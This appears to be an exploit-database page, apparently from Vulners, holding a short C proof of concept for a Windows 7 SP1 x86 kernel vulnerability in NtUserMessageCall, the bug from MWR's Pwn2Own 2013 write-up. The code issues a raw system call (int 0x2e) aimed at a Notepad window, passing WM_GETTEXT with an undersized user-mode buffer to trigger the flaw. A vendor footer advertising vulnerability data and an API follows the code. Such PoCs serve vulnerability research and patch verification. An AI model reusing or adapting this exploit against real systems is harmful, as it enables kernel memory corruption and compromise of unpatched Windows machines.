/*
more detials:
https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up-kernel-exploit/
this poc is written by 0xBigBan
*/
#include <windows.h>
#define __NtUserMessageCall 0x11ea //on win7 sp1 x86
void SystemCall(DWORD ApiNumber, ...) {
__asm{
lea edx, [ebp+0x0c]
mov eax, ApiNumber
int 0x2e
leave
ret
}
}
int main() {
//you should have open a txt file with notepad
HWND handle = FindWindow(NULL,"a.txt - notepad");
void* ptr = malloc(sizeof(int)*2);
SystemCall(__NtUserMessageCall,
handle,
WM_GETTEXT,
0x8, //buffer size
ptr, //user mode buffer
0x0,
0x2b3,
0x2); //ASCII boolean/flag
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation